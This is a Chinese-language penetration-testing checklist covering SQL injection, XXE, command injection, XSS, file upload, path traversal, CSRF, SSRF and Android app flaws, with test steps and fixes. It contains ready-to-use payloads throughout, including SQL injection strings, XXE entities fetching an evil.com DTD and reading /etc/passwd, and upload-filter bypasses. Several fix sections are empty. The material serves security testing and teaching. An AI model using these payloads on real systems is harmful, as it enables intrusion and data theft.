Id=1' and length(database())>=2--+ //判断数据库长度

substr(database(),1,1)='a' //从第一个字符开始测试判断数据库名称

substr((select password from admin),1,1)//同理，通过不同的sql语句得出想要的结果

报错注入

Mysql_error()显示错误信息输出到页面

使用floor(),updatexml()等函数将查询的内容输出到页面上：Updatexml(a,b,c) //其中a为文档名称，b为查询条件，c为代替值。updatexml的作用：改变文档中符合条件的节点的值。比如：a中是否有与b相同，相同则用c代替。

$payload：

a.Id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

b.id=1'+union+select+1,count(*),concat(0x3a,0x3a,(select+table_name+from+information_schema.tables+where+table_schema='security'),0x3a,0x3a,floor(rand(0)*2))a+from+information_schema.tables+group+by+a--+

c.id=1'+union+select+(exp(~(select+*+from(select+database())a))),2,3--+

d.id=1'+union+select+(!(select+*+from+(select+database())x)+-+~0),2,3--+

e.id=1'+and+extractvalue(1,concat(0x7e,(select+database()),0x7e))--+

延时注入攻击

结果显示错误或者正确（yes or no）

这种方式跟Boolean很类似，区别在于使用函数是if（p1,p2,p3）条件,P1是code部分，条件p1正确，则返回p2结果，否则返回p3结果。

Payload:Id=1' and if((select database()),sleep(3),1)

堆叠查询注入

堆叠查询是指可以多条查询语句的方式，多语句之间用；隔开

比如：id=1';select if(substr(database(),1,1)='a',sleep(3),1)--+

二次注入

对传入的username参数使用addslashes转义，只是对SQL查询语句转义，并不会对数据有影响，原始数据存入数据库。第二次取出来的时候并没有进行处理导致二次注入。

比如注册界面，admin账号已存在，我们注册一个admin’#账号。在修改密码处有如下执行如下SQL语句：

update user set pass=’$new_pass’ where user=’$user’ and pass=’$old_pass’;

修改当前admin’#账号密码时，执行代码如下：

update user set pass=’123’ where user=’admin’#’ and pass=’$old_pass’;

即可将admin密码修改为123

宽字节注入

数据库的编码是GBK时，可以进行宽字节注入，反斜杠的编码是%5c，%df%5c是繁体字‘连’。这样单引号会逃逸。

最终查询语句：

Id=-1%df' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3%23

其中必须使用联合查询的方式，单引号被转义。

其外：

Id=-1%ef%bf%bd' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3%23

cookie注入

在cookie中id=1控制参数，id未过滤直接拼接到数据库中查询。

查询结果显示在页面直接用union注入

base64注入

参数id=1对1服务器进行1进行base64解码之后再拼接到SQL语句中查询，

对sql注入语句进行base64加密之后再加到url连接里面。

比如：1 union (select table_name from information_schema.tables where table_schema='test' limit 0,1),2,3

对此语句base64加密。

XFF注入

请求头里面X-Forwarded-For字段存储IP地址，

该字段可以进行sql注入。

Order by注入

1、数字型？Sort=1+desc和?sort=1+asc的结果不一致

2、right(version(),1)和left(version(),1)的结果不一致，说明数字没有起作用，可以考虑报错和延时注入。

3、？sort=rand(true)和?sort=rand(false)的结果不一样；true的位置可以用报错注入或者延时注入

？sort=1'+rand(updatexml(1,concat(0x7e,(select+database()),0x7e),1))--+

利用and，？Sort=1+and+（SQL语句）

5、导入导出文件into+outfil

？sort=1'into+outfile+"c:\\wamp\\www\\sql1\\test.txt"--+

procedure analyse参数后注入

该参数可以执行报错注入，procedure和order之间有limit，玩玩limit之后的参数可以使用procedure进行注入。

使用注释符/**/、双写、十六进制编码等方法尝试绕过应用系统对特殊字符的检查过滤。

修复方案：

SQL注入的主要原因是程序没有严格过滤用户输入的数据，导致非法数据侵入系统，所以建议进行： 1) 对用户输入的特殊字符进行严格过滤，如’、”、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union。 2) 使用参数化查询（PreparedStatement），避免将未经过滤的输入直接拼接到SQL查询语句中。 3) Web应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分（如不能执行drop等），并设置Web应用中用于连接数据库的用户不允许操作其他数据库。 4) 设置Web应用中用于连接数据库的用户对Web目录不允许有写权限。 5) 使用Web应用防火墙。以下给出sql注入防范编码供开发者参考：方法一：参数化查询，利用PreparedStatement对象的set方法给参数赋值。参数化查询强制要求给每个参数定义类型，这种方式使得数据库能够区分出哪些属于代码段哪些属于数据段。 String custname = request.getParameter("customerName"); String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); 方法二：输入合法性验证。检查输入字符串中是否包含敏感的SQL字符，是否包含SQL关键字、是否是典型的SQL注入语句。检查到非法字符之后，可以直接结束数据库查询并返回告警，也可以把非法字符替换为空或进行其他形式的修正。需要注意的是这种防御方式的可靠性建立在目前情况下攻击者无法构造绕过合法性验证的恶意SQL语句。通用的SQL语句合法性验证如下： public static boolean sql_inj(String str) { String inj_str = "'|and|exec|insert|select|delete|update| count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,"; String inj_stra[] = split(inj_str,"|"); for (int i=0 ; i < inj_stra.length ; i++ ) { if (str.indexOf(inj_stra)>=0) { return true; } } return false; } 方法三：使用OWASP提供的ESAPI，ESAPI (OWASP企业安全应用程序接口)是一个免费、开源的、网页应用程序安全控件库，它使程序员能够更容易写出更低风险的程序。ESAPI接口库被设计来使程序员能够更容易的在现有的程序中引入安全因素。ESAPI库也可以成为作为新程序开发的基础。ESAPI详细介绍请参考：http://www.owasp.org.cn/owasp-project/ESAPI/

1. 1. 1. xml注入

风险等级：高

漏洞描述：

可扩展标记语言 XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据，如果在查询或者插入时，没有对用户的输入进行过滤或者转义，则可以修改XML数据格式，改变XML节点，造成xml注入。

测试步骤：

常见的xml注入payload：

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ELEMENT xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>。

尝试引用远程dtd头绕过敏感字符校验，如：

<?xml version="1.0"?><!DOCTYPE GVI [

<!ENTITY % start "<![CDATA[">

<!ENTITY % body SYSTEM "file:///tmp/test.txt" ><!ENTITY % end "]]>">

<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">

%dtd;

尝试使用报错方式进行注入：

将含有参数实体的数据传递到另一个文件实体中，以便在访问第二个文件时触发文件未找到的异常，并且将第一个文件的内容作为第二个文件的名字，这样的话，就成功触发了文件未找到异常，也完全返回了第一个文件的内容：

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [

<!ENTITY % one SYSTEM "http://evil.com/evil.dtd" >

%one; %two; %four;

evil.dtd：

<!ENTITY % three SYSTEM "file:///etc/passwd">

<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

修复方案：

1. 严格检查用户输入的字符；

2. 检查使用的底层XML解析库，使用JAVA语言提供的禁用外部实体的方法：DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false)；

3. 操作XML时对格式字符进行转义处理，常见的格式字符如下表：

<； <

> >

& &

' ‘

" “

1. 1. 1. 命令注入

风险等级：高

漏洞描述：

命令注入攻击，是指由于Web应用程序对用户提交的数据过滤不严格，导致黑客可以通过构造特殊命令字符串的方式，将数据提交至Web应用程序中，并利用该方式执行外部程序或系统命令实施攻击，非法获取数据或者网络资源等。

测试步骤：

管道符：在有命令的参数里，通过使用管道符增加命令：

; 执行完前面再执行后面：ping 127.0.0.1;dir

| 显示后面的执行结果：ping 127.0.0.1|dir

|| 前面错才能执行后面的：ping 2||dir

& 前面为假则直接执行后面的，前面可真可假：ping 127.0.0.1&dir

&& 前面为假直接出错，不执行后面的，前面只能为真：ping 127.0.0.1&&dir

``反引号

$()替换

修复方案：

防范命令注入攻击漏洞的存在可以通过以下几种方法： 1、尽量不去执行外部的应用程序或命令。 2、使用自定义函数或函数库实现外部应用程序或命令的功能。 3、在执行system、eval等命令执行功能的函数前，校验参数内容。 4、使用escapeshellarg函数处理相关参数。escapeshellarg函数会将任何引起参数或命令结束的字符进行转义，如单引号“’”会被转义为“\’”，双引号“””会被转义为“\””，分号“;”会被转义为“\;”，这样escapeshellarg会将参数内容限制在一对单引号或双引号里面，转义参数中所包含的单引号或双引号，使其无法对当前执行进行截断，实现防范命令注入攻击的目的。 5、使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On，然后将允许执行的文件放入一个目录中，并使用safe_mode_exec_dir指定这个可执行的文件路径。在需要执行相应的外部程序时，程序必须在safe_mode_exec_dir指定的目录中才会允许执行，否则执行将失败

1. 1. 1. xpath注入

风险等级：高

漏洞描述：

XPath注入攻击是指利用XPath 解析器的松散输入和容错特性，能够在URL、表单或其它信息上附带恶意的XPath查询代码，以获得权限信息的访问权并更改这些信息。

测试步骤：

在url、表单等输入点中使用常见xpath playload检测，例如：//users/user[loginID/text()=’abc’ and password/text()=’test123’]

//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]

修复方案：

XPath 攻击防御可参考如下：

1. 数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的合法性进行验证。

2. 检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删除敏感字符或字符串。

3. 对于系统出现的错误信息，以IE错误编码信息替换，屏蔽系统本身的出错信息。

4. 参数化XPath查询，将需要构建的XPath查询表达式，以变量的形式表示，变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查询参数化：declare variable $loginID as xs：string external； declare variable $password as xs：string external； //users/user[@loginID=$loginID and @password= $password]。

5. 通过MD5、SSL等加密算法，对于数据敏感信息和在数据传输过程中加密，即使某些非法用户通过非法手法获取数据包，看到的也是加密后的信息

1. 1. 1. 链接注入

风险等级：高

漏洞描述：

改站点内容的行为，其方式为将外部站点的URL嵌入其中，或将有易受攻击的站点中的脚本的URL嵌入其中。将URL嵌入易受攻击的站点中，攻击者便能够以它为平台来启动对其他站点的攻击，以及攻击这个易受攻击的站点本身。

测试步骤：

尝试对可能回显在前端等处的输入点、链接点使用",<>等构造链接进行注入：比如 HTTP://www.xx.com/greet.asp?name=<IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">
尝试在聊天窗口、图片引用中插入链接进行注入

修复方案：

建议过滤出所有以下字符：| (竖线符号) & (& 符号) ; (分号) $ (美元符号) % (百分比符号) @ (at 符号) ' (单引号) " (引号) \' (反斜杠转义单引号) \\" (反斜杠转义引号) <> (尖括号) () (括号) + (加号) CR (回车符，ASCII 0x0d) LF (换行，ASCII 0x0a) , (逗号) \ (反斜杠)

1. 1. 1. 存储型XSS

风险等级：高

漏洞描述：

跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的，而存储型跨站脚本攻击涉及的功能点多为：用户输入的文本信息保存到数据库中，并能够在页面展示的功能点，例如用户留言、发送站内消息、个人信息修改等功能点。

测试步骤：

页面中可添加、修改的参数：

常规payload：

<body οnpageshοw=alert(1)>等

可参考https://github.com/s0md3v/AwesomeXSS#awesome-payloads

参数包含在标签中时，可以通过标签内闭合的方式

比如正常标签<img src="url"> ，填入url时，将正常url改为x" οnerrοr=alert(1) ccc=" ，标签变为<img src="x" οnerrοr=alert(1) ccc="">

一些简单的关键词过滤，可以通过关键词大小写、编码、使用不常用关键词等方式绕过
利用反引号、数组、外部链接等方式绕过关键符号过滤：

修复方案：

对于XSS跨站漏洞，可以采用以下修复方式：

1、总体修复方式：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下：

1) 输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。

2) 输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。

3) 明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。

4) 注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字)，很容易被XSS变种攻击绕过验证机制。

5) 警惕规范化错误：验证输入之前，必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。对客户端提交的数据进行过滤，一般建议过滤掉双引号（”）、尖括号（<、>）等特殊字符，或者对客户端提交的数据中包含的特殊字符进行实体转换，比如将双引号（”）转换成其实体形式"，<对应的实体形式是<

1. 1. 1. 反射型XSS

风险等级：中

漏洞描述：

跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的，而反射型跨站脚本攻击涉及的功能点多为：URL参数需要在页面显示的功能点都可能存在反射型跨站脚本攻击，例如站内搜索、查询功能点。

测试步骤：

页面中可添加、修改的参数：

常规payload：

<body οnpageshοw=alert(1)>等

可参考https://github.com/s0md3v/AwesomeXSS#awesome-payloads

参数包含在标签中时，可以通过标签内闭合的方式

比如正常标签<img src="url"> ，填入url时，将正常url改为x" οnerrοr=alert(1) ccc=" ，标签变为<img src="x" οnerrοr=alert(1) ccc="">

一些简单的关键词过滤，可以通过关键词大小写、编码、使用不常用关键词等方式绕过

利用反引号、数组、外部链接等方式绕过关键符号过滤：

修复方案：

1. 1. 1. DOM型XSS

风险等级：中

漏洞描述：

DOM型XSS中，其外部输入是JS中存在获取外部输入内容的可利用的代码如URL栏内容的location.href，然后该外部输入内容在未经过有效过滤的情况下就传入危险的输出函数直接输出到页面中或传入eval等危险执行函数就会在页面上直接解析恶意JS代码，导致DOM型XSS的存在。

测试步骤：

外部输入Sources和危险敏感操作Sinks（包括执行/输出页面）是导致DOM型XSS发生的根本原因，对于DOM型XSS漏洞挖掘来说，可以简单归纳为在客户端加载的JS代码中，存在Sources+Sinks的情况即有可能存在DOM型XSS；
Sources：

document.URL

document.URLUnencoded

document.location

document.referrer

window.location

location

location.href

location.search

location.hash

location.pathname

Sinks：

直接执行脚本类

eval(…)

window.execScript(…)

window.setInterval(…)

window.setTimeout(…)

写HTML页面类

document.write(…)

document.writeln(…)

element.innerHTML(…)

直接修改DOM类

document.forms[0].action=…

document.attachEvent(…)

document.create…(…)

document.execCommand(…)

document.body. …

window.attachEvent(…)

替换文档URL类

document.location=…

document.location.hostname=…

document.location.replace(…)

document.location.assign(…)

document.URL=…

window.navigate(…)

打开/修改窗口类

document.open(…)

window.open(…)

window.location.href=…

修复方案：

1. 1. 1. 任意文件上传

风险等级：高

漏洞描述：

恶意文件传递给解释器去执行，之后就可以在服务器上执行恶意代码，进行数据库执行、服务器文件管理，服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同，可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件。

测试步骤：

找到网站上传文件的功能；
尝试上传服务器可以解析的语言脚本、或者不在白名单中的文件名称进行测试，如果上传成功，并且服务器可以解析该脚本，说明存在任意文件上传问题；
如果应用系统采用了黑名单的方式，则尝试修改文件后缀名绕过：

PHP:php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)

ASP：asa、cer、cdx

ASPX：ascx、ashx、asac

JSP：jsp、jspx、jspf

Content-Type绕过：系统还对文件类型做检测，则可以使用burpsuite修改Content-Type来绕过上传限制，如：text/html 表示HTML格式、text/plain表示纯文本格式、text/xml表示XML格式、image/gif表示gif图片格式、image/jpeg表示jpg图片格式、image/png表示png图片格式
前端js绕过：这种情况是系统针对客户端js校验文件后缀的情况，在上传前将测试文件修改为默认可上传的后缀，上传时抓包修改文件后缀，即可绕过前端js限制；
文件解析规则绕过（.htaccess规则文件绕过）：.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过上传.htaccess文件绕过限制较全面的黑名单过滤，如先上传一个.htaccess文件，内容为：AddType application/x-httpd-php .aaa，就可以将.aaa后缀的文件当作php来执行；
Windows环境特性绕过：服务器是windows环境，可以上传一个文件为xxx.php::$DATA类型的文件，访问的时候就可以直接访问xxx.php文件；
文件名大小写绕过：将文件名后缀使用大小写方式绕过类型限制；
文件头绕过
双写绕过：文件名后缀双写，如.jsjspp
%00截断绕过：如果代码采用的白名单校验，只允许上传图片格式，理论上这个上传是不好绕过的。但是后面采用保存文件的时候，是路径拼接的形式，而路径又是从前端获取，我们可以采用在路径上截断，如下图：

文件头绕过：如果应用系统对代码内容进行检测，可以使用文件头绕过的方式，通常在上传文件内容头部加入GIF89a这个字符串，该字符串表示文件是gif格式的图片；

条件竞争绕过：应用系统对文件后缀、文件内容、文件类型都做了限制，我们上传不符合规定的文件会被删除，可以使用条件竞争，多线程、不间断上传一个写文件的脚本，然后不断去访问该写文件脚本，如果访问成功，则会写一个文件到服务器端，达到文件上传的目的；

修复方案：

1、最有效的，将文件上传目录直接设置为不可执行，对于Linux而言，撤销其目录的'x'权限；实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理，一是方便使用缓存加速降低能耗，二是杜绝了脚本执行的可能性； 2、文件类型检查：建议使用白名单方式，结合MIME Type、后缀检查等方式（即只允许允许的文件类型进行上传）；此外对于图片的处理可以使用压缩函数或resize函数，处理图片的同时破坏其包含的HTML代码； 3、使用随机数改写文件名和文件路径，使得用户不能轻易访问自己上传的文件； 4、单独设置文件服务器的域名

1. 1. 1. 任意文件下载/读取

风险等级：高

漏洞描述：

任意文件下载/读取漏洞不同于网站目录浏览，此漏洞不仅仅可遍历系统下web中的文件，而且可以浏览或者下载到系统中的文件，攻击人员通过目录遍历攻击可以获取系统文件及服务器的配置文件等等。一般来说，他们利用服务器API、文件标准权限进行攻击。

测试步骤：

用Google hacking搜索关键字或目录扫描器扫描问题链接，Google语法如下：

inurl:"readfile.php?file="

inurl:"download.php?file="

inurl:"read.php?filename="

inurl:"down.php?file="

从链接上看，形如：readfile.php?file=***.txt、download.php?file=***.rar
从参数名看，形如：&RealPath=、&FilePath=、&ﬁlepath=、&Path=、&path=、&inputFile=、&url=、&urls=、&Lang=、&dis=、&data=、&readﬁle= 、&ﬁlep= 、&src= 、&menu= 、META-INF、WEB-INF
找到问题参数后尝试使用../../../../../../etc/passwd读取文件/etc/passwd内容；尝试寻找应用系统源代码文件进行读取
Linux默认文件位置为：/etc/passwd、/etc/shadow、/etc/hosts，windows系统默认文件位置：C:\boot.ini 、C:\Windows\System32\inetsrv\MetaBase.xml

修复方案：

1. 1. 1. 任意文件删除

风险等级：高

漏洞描述：

网站中，涉及文件删除操作的函数，如果文件名可控，将可能存在任意文件删除漏洞，该漏洞可让攻击者随意删除服务器上的任意文件。

测试步骤：

测试web应用中可以删除文件的功能；
使用../../../a.jsp跳转到其他文件地址尝试删除文件。

修复方案：

文件删除应该验证文件的类型、权限。

1. 1. 1. CSRF跨站

风险等级：中

漏洞描述：

攻击者在用户浏览网页时，利用页面元素（例如img的src），强迫受害者的浏览器向Web应用服务器发送一个改变用户信息的HTTP请求从而达到篡改用户信息的目的。

测试步骤：

登陆测试功能点，burpsuite工具抓取对测试功能点进行增删改请求的请求包；
右键请求包界面，选择Engagement tools->Generate CSRF PoC,此时会形成攻击的请求包；
点击Test in browser，将剪切板内的内容粘贴到浏览器的地址栏内并访问。会出现带有按钮的页面，点击该按钮会执行之前抓取请求包的那一步操作；
点击按钮，若页面返回执行成功且测试功能点确实执行了该操作，则说明该功能点存在CSRF跨站的问题；
常出现CSRF的功能点一般为添加或管理用户、创建或支付订单、重置用户密码、转账执行高危操作的功能点，类似这种功能点的地方要着重测试CSRF跨站的问题；
测试样例：

设置页面test.htm中，页面中有一个表单，和一段脚本，脚本的作用是，当页面加载时，浏览器会自动提交请求。页面代码如下：

</form>

document.getElementById("modify").submit();

</script>

诱使用户在登录目标系统后访问URL链接http://xx.x.xx.xxx /test.htm

用户打开test.htm后，会自动提交表单，发送给www.test.com下的那个存在CSRF漏洞的web应用，用户信息被篡改。在整个攻击过程中，受害者用户仅看到了一个空白页面（可以伪造成其他无关页面），并且不知道自己的信息已经被修改。

修复方案：

1、通过referer判断页面来源进行CSRF防护，该方式无法防止站内CSRF攻击及referer字段伪造。

2、重要功能点使用动态验证码进行CSRF防护。

3、通过token方式进行CSRF防护：

1) 在Session中绑定token。如果不能保存到服务器端Session中，则可以替代为保存到Cookie里。

2)在form表单中自动填入token字段，比如 <input type=hidden name="anti_csrf_token" value="$token" />。

3) 在HTTP请求中自动添加token。

在服务器端对比POST提交参数的token与Session中绑定的token是否一致，以验证CSRF攻击

4、为每个session创建唯一的随机字符串，并在受理请求时验证：

......

</form>

//判断客户端提交的随机字符串是否正确

String randomStr = (String)request.getParameter("randomStr");

if(randomStr == null) randomStr="";

if(randomStr.equals(request.getSession().getAttribute("randomStr")))

{//处理请求}

else{

//跨站请求攻击，注销会话

}

1. 1. 1. SSRF服务器端请求伪造

风险等级：中

漏洞描述：

SSRF漏洞是指是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制，比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等从而被攻击者利用以达到如下几种攻击目的：

1、对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息；

2、攻击运行在内网或本地的应用程序（比如溢出）；

3、对内网Web应用进行指纹识别，通过访问默认文件实现；

4、攻击内外网的Web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）；

5、利用file协议读取本地文件等

测试步骤：

SSRF服务端请求伪造常出现在有跳转过程或者是向其他服务端请求数据的功能中、例如查询、支付请求中；
当请求包中出现url、ip等参数名，且其中的参数值并不是该服务端的ip或者域名，则我们利用burpsuite工具抓取该请求包

修改请求包中的参数值为其他可访问到的ip或者域名。若服务端跳转到我们修改后的地址，则说明服务端对跳转地址未进行校验，存在SSRF服务器请求伪造的问题。
举个例子：

Weblogic某版本存在SSRF漏洞，

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp，提交参数值为url:port，根据返回错误不同，可对内网状态进行探测如端口开放状态等。

1、访问一个可以访问的ip:port，一般返回一个状态码，The server at http://192.168.60.168:7001/ returned a 404 error code (Not Found)如图

2、访问一个不存在的端口，将返回but could not connect over HTTP to server

3、访问一个非http协议，则返回did not have a valid SOAP content-type

此处就是对url:port参数未进行校验，导致我们可以修改参数，伪造成服务端A的请求对其余服务器进行信息探测，根据其返回值的不同，判断ip是否存在以及端口是否开启。而被探测的一方会将我们的探测请求视为服务端A的请求而正常响应。

修复方案：

1、过滤内网服务器对公网服务器请求的响应。如果Web应用是获取某一类型的文件，在把返回结果展示给用户之前应先验证返回的信息是否符合文件类型标准，比如返回信息应为图片，如果返回信息是HTML，则停止将返回信息返回客户端。

2 、统一错误提示信息，避免用户可以根据错误信息来判断远端服务器的端口状态。

3 、在内网服务器的防火墙上限制公网服务器的请求端口为HTTP等协议常用端口，如：80、443、8080、8090。

4 、若公网服务器的内网IP与内网无业务通信，建议将公网服务器对应的内网IP列入黑名单，避免应用被用来获取内网数据。

5 、内网服务器禁用不必要的协议，仅允许HTTP和HTTPS请求，防止类似于file:///、gopher://、ftp:// 等协议引起的安全问题

1. 1. 第三方组件安全
    1. jQuery 版本漏洞

风险等级：中

漏洞描述：

使用低版本的jQuery组件，未及时升级到最高的版本

测试步骤：

查找页面源码中调用的jQuery地址，检查jQuery版本是否在1.12以下，若大于1.12则不存在问题；
将地址填入检测检测页面中jQuery的对应地址，检测相关版本问题；
检测页面下载地址：

https://github.com/mahp/jQuery-with-XSS/blob/master/test.html

修复方案：

隐藏版本且升级jQuery至最新版本（3.0以上）。

1. 移动APP专有
  1. 安卓客户端
    1. 本地数据文件存储安全

风险等级：高

漏洞描述：

在APP客户端本地文件中保存了用户敏感数据（如密码、卡号、证件号等）。

测试步骤：

首先对apk进行反编译逆向操作如下：

反编译为 java 代码：

1．使用 dex2jar 工具，以 classes.dex 为参数运行 dex2jar.bat。成功运行后，在当前文件夹会生成 classes_dex2jar.jar 文件。

2．使用 jd-gui 工具查看、搜索并保存 jar 中的 java 代码。

反编译为 smali 代码

使用 apktool 工具可以对 apk 进行解包。具体的解包命令格式为：

apktool d[ecode] [OPTS] <file.apk> [<dir>]。

例如，对 CQRCBank_2.1.1.1121.apk 进行解包的命令如下：

1．如果只需要修改 smali 代码，不涉及资源文件的修改，可以在解包时加入 -r 选项，不解码 apk 中的资源。在打包时可以避免资源方面的问题（如 aapt报的各种错误）。

2．如果只需要反编译资源文件，可以在解包时加入-s 选项，不对 classes.dex 进行反编译。解包完成后，会将结果生成在指定的输出路径中，其中，smali 文件夹下就是最终生成的 Dalvik VM 汇编代码AndroidManifest.xml 文件以及 res 目录下的资源文件也已被解码。如图：

然后开始进行客户端安全检测：

1．正常的文件权限最后三位应为空（类似“rw-rw----”），即除应用自己以外任何人无法读写；目录则允许多一个执行位（类似“rwxrwx—x”）。如下图所示，script 文件的权限设置不安全，script 可以被任意应用读取。

2．对本目录下的文件内容（通常是 xml）进行检查，看是否包含敏感信息。

3．在私有目录及其子目录下查找以.db 结尾的数据库文件。对于使用了 webView 缓存的应用，会在 databases 子目录中保存 webview.db 和 webviewCache.db，如图所示。其中有可能会记录 cookies 和提交表单等信息。参考 4.1.8 数据库文件查看 sqlite3，或是使用 SQLite Studio，查看、修改数据库文件。

4. 通过对apk 解包，反编译 so 库和逆向 classes.dex，检查 apk 包中各类文件是否包含硬编码的的敏感信息。对可执行文件可通过逆向方法寻找，也可以直接使用 16 进制编辑器查找。

5.在应用的私有目录以及 S D 卡中包含应用名称的子目录中进行遍历，检查是否有包含敏感信息的文件。参考 4.1.9 系统调用记录 Strace，查找应用和文件 IO 相关的系统调用（如 open，read，write 等），对客户端读写的文件内容进行检查。

6. 查找保存在应用私有目录下的文件。检查文件中的数据是否包含敏感信息。如果包含非明文信息，在 Java 代码中查找相应的加密算法，检查加密算法是否安全。（例如，采用 base64 的编码方法是不安全的，使用硬编码密钥的加密也是不安全的。）

修复方案：

对于用户敏感数据（如密码、卡号、证件号等）等数据在本地存储时进行加密。

1. 1. 1. 应用完整性校验

风险等级：中

漏洞描述：

未对APP添加自身完整性检测功能，当安装包内的内容被篡改后仍然可以正常安装使用。

测试步骤：

修改 apk 中 assets 目录下或 res/raw 目录下的文件。将修改后重新打包的 apk 文件导入到/data/app 目录下，覆盖原文件，然后重启客户端，观察客户端是否会提示被篡改。或在 Java 代码中查找是否包含校验功能。

修复方案：

建议应用程序在启动时进行自身完整性校验或采用第三方厂商的加固保护产品进行加固保护。

1. 1. 1. Activity劫持

风险等级：高

漏洞描述：

攻击者可以在本地监听用户的状态，当用户登陆或者输入交易密码时，弹出伪造的界面，从而窃取用户输入的口令信息。

测试步骤：

1.安装 android 击键记录测试工具。然后在“语言和键盘设置”中选择“Sample Soft Keyboard”。然后启动客户端，在输入框长按，弹出提示框后选择“input method”（输入法），选择我们安装的软键盘。

2.下图是书写短信息时，使用软键盘输入，在 logcat 日志中可以看到所有的击键。

修复方案：

建议在APP退出后台时给用户风险提示，以防用户敏感信息被盗

1. 1. 1. 逆向分析

风险等级：中

漏洞描述：

在将源代码编译成apk时，应对其进行代码混淆操作,如采用Android sdk自带的proguard或商业混淆软件，以防止apk被反编译成易懂的源码。或采用第三方厂商的加固保护产品进行加固保护。

测试步骤：

1.通过对apk解包逆向，将客户端 apk 文件中的程序代码导出为 Java 代码或 smali 代码；或使用APKAnalyser，直接打开 apk 文件。如下图所示，经过混淆保护的代码，其最明显的特征是大部分类和变量名都被替换为简单的 abcd 字母。

2.客户端程序可以把关键代码以 JNI 方式放在 so 库里。so 库中是经过编译的 arm 汇编代码，可以对其进行加壳保护，以防止逆向分析。打开 apk 文件。如果客户端程序使用了JNI 技术，在“lib\armeabi\”文件夹下会有相应的 so 库文件，如图所示：

然后在代码中查找是否加载了 so 库。例如 Java 代码：

Static{

system.loadLibrary("jni_pin");

system.load("./libjni_pin2.so") }

将加载 libjni_pin2.so，so 的导出函数则通过 native 关键字声明，如图所示：

修复方案：

1. 1. 1. Activity组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

反编译之后，若代码中没对Intent.getxxxExtra()获取的数据时没有进行异常捕获，接收到异常数据时，可能会引起拒绝服务。调用app的Activity、Broadcast Receiver、Content Provider和Service组件看是否会导致app异常关闭造成拒绝服务。

修复方案：

将没有必要设置成导出的Activity组件设置为不可导出，即在AndroidManifest.xml文件中将相应的Activity配置项中增加exported=false属性。对需要设置成导出的Activity组件，对传入的Intent的参数做严格的检查和过滤。

1. 1. 1. Activity组件绕过

风险等级：中

漏洞描述：

在没有用户授权允许的情况下，直接操作不被允许的组件、进而发生风险;例如,直接重置手势密码，对用户的财产安全造成损失。

测试步骤：

方法一：

使用工具drozer检测是否存在暴露activity，检测是否存在导出的组件：

run app.activity.info –a (packagename)

使用命令查看是否可以启动应用绕过登录使用内部项目或导致应用崩溃：

run app.activity.start --component (packagename)(package activity)

方法二：

使用反编译工具，直接查看AndroidMainfast.xml文件，检测是否存在导出的组件；

第一种：无intent-filter标签:

在被测应用的AndroidManifest.xml文件中，检测activity，若无android:exported属性，

</activity>

检测通过；若android:exported=true且无android:permission属性，

</activity>

则检测不通过，若android:exported=”true”,且有android:permission属性，

</activity>

此检测通过，若android:export=”false”，

</activity>

则检测通过；

第二种：有intent-filter标签：

在被测应用的AndroidManifest.xml文件中，检测activity，若无android:exported属性，且action为android.intent.action.MAIN（主activity），

<intent-filter>

</intent-filter>

</activity>

则检测通过，若无android:exported属性，则检测不通过。

修复方案：

建议严格校验该组件的Intent参数，拒绝空的Intent等非法Intent传入并打开该组件。

1. 1. 1. Broadcast Receiver组件本地拒绝服务

风险等级：中

漏洞描述：

当攻击者本地精心构造一个Intent时则有可能会触发导出组件的异常，造成本地拒绝服务攻击，影响程序的正常使用。

测试步骤：

修复方案：

